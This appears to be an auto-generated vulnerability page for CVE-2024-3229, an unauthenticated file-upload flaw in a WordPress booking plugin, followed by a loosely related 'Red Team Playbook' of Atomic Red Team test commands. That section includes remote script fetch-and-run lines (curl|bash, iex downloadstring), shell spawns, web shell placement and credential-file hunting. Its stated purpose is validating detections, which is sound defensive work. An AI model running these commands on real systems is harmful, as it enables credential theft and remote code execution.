CVE-2024-3229
Overview
This vulnerability is an arbitrary file upload flaw caused by the absence of file type validation and missing authorization checks in the SLN_Action_Ajax_ImportAssistants function of the Salon Booking System WordPress plugin. The affected component is the AJAX handler responsible for importing assistant data. The root cause lies in improper input validation combined with insufficient access control, allowing external input to be processed without verifying file integrity or user permissions.
Vulnerability Description
The Salon booking system plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the SLN_Action_Ajax_ImportAssistants function along with missing authorization checks in all versions up to, and including, 10.2. This makes it possible for unauthenticated attackers to upload arbitrary files on the affected site's server which may make remote code execution possible.
Impact
An unauthenticated attacker can exploit this vulnerability remotely to upload arbitrary files, including potentially executable code, to the affected server. This can lead to remote code execution, unauthorized access, and full compromise of the hosting environment. The attack requires no user interaction or prior authentication (CVSS vector AV:N/AC:L/PR:N/UI:N). The business impact includes data breaches, service disruption, and potential lateral movement within the network.
Solution
Users of the Salon Booking System WordPress plugin should upgrade to a version later than 10.2 where this vulnerability is patched. The fix involves adding proper file type validation and authorization checks to the SLN_Action_Ajax_ImportAssistants function. Detailed patch information and remediation instructions are available from the Wordfence advisory at https://www.wordfence.com/threat-intel/vulnerabilities/id/3bbbf5be-5c0a-4514-88ac-003083c0bba3 and the plugin’s official changelog at https://plugins.trac.wordpress.org/changeset/3103584/salon-booking-system/trunk/src/SLN/Action/Ajax/ImportAssistants.php.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the Salon booking system plugin for WordPress stems from inadequate file type validation and a lack of authorization checks within the SLN_Action_Ajax_ImportAssistants function. This oversight allows unauthenticated users to upload arbitrary files to the server hosting the affected site. The absence of stringent checks means that attackers can exploit this flaw to upload malicious scripts or executables, potentially leading to remote code execution. The severity of this vulnerability is underscored by its high CVSS score of 9.8, indicating a critical risk that could be exploited with relative ease.
Attack vectors for this vulnerability are straightforward, primarily targeting the file upload functionality. An attacker could craft a request to the vulnerable endpoint, bypassing any authentication mechanisms, and upload a malicious file disguised as a benign document. Once the file is on the server, the attacker can execute it, gaining control over the server environment. This could lead to a variety of malicious activities, including data exfiltration, website defacement, or the establishment of a persistent backdoor for future access. The simplicity of this attack makes it particularly concerning, as it requires minimal technical skill and can be executed remotely.
The real-world impact of this vulnerability is significant, especially for businesses relying on the Salon booking system for their operations. Successful exploitation could lead to unauthorized access to sensitive customer data, including personal information and payment details. This not only poses a direct financial risk due to potential data breaches but also threatens the organization's reputation. Customers may lose trust in a business that suffers a security incident, leading to decreased revenue and potential legal ramifications. Additionally, the costs associated with incident response, remediation, and regulatory compliance can be substantial, further exacerbating the business risk.
To detect and mitigate this vulnerability, organizations should implement several strategies. Regular security audits and vulnerability assessments can help identify weaknesses in the system before they are exploited. Additionally, employing a web application firewall (WAF) can provide an additional layer of protection by filtering out malicious requests. It is also crucial to ensure that all plugins, including the Salon booking system, are kept up to date with the latest security patches. Organizations should consider implementing strict file type validation and authorization checks on all file upload functionalities, regardless of the plugin in use. This proactive approach can significantly reduce the risk of exploitation.
In conclusion, the vulnerability within the Salon booking system plugin represents a critical threat to WordPress sites utilizing this software. The combination of arbitrary file upload capabilities and insufficient authorization checks creates a pathway for attackers to compromise server integrity. The potential consequences of exploitation are severe, affecting both the security posture of the organization and the trust of its customers. By adopting robust detection and mitigation strategies, businesses can safeguard their systems against such vulnerabilities and maintain a secure operational environment.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Salonbookingsystem | Salon Booking System | All |
cpe:2.3:a:salonbookingsystem:salon_booking_system:*:*:*:*:*:wordpress:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-1 | Accessing Functionality Not Properly Constrained by ACLs |
35%
|
High | High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-3229 |
| wordfence.com |
GitHub CVE
|
https://www.wordfence.com/threat-intel/vulnerabilities/id/3bbbf5be-5c0a-4514-88ac-003083c0bba3?source=cve |
| plugins.trac.wordpress.org |
GitHub CVE
|
https://plugins.trac.wordpress.org/changeset/3103584/salon-booking-system/trunk/src/SLN/Action/Ajax/ImportAssistants.php |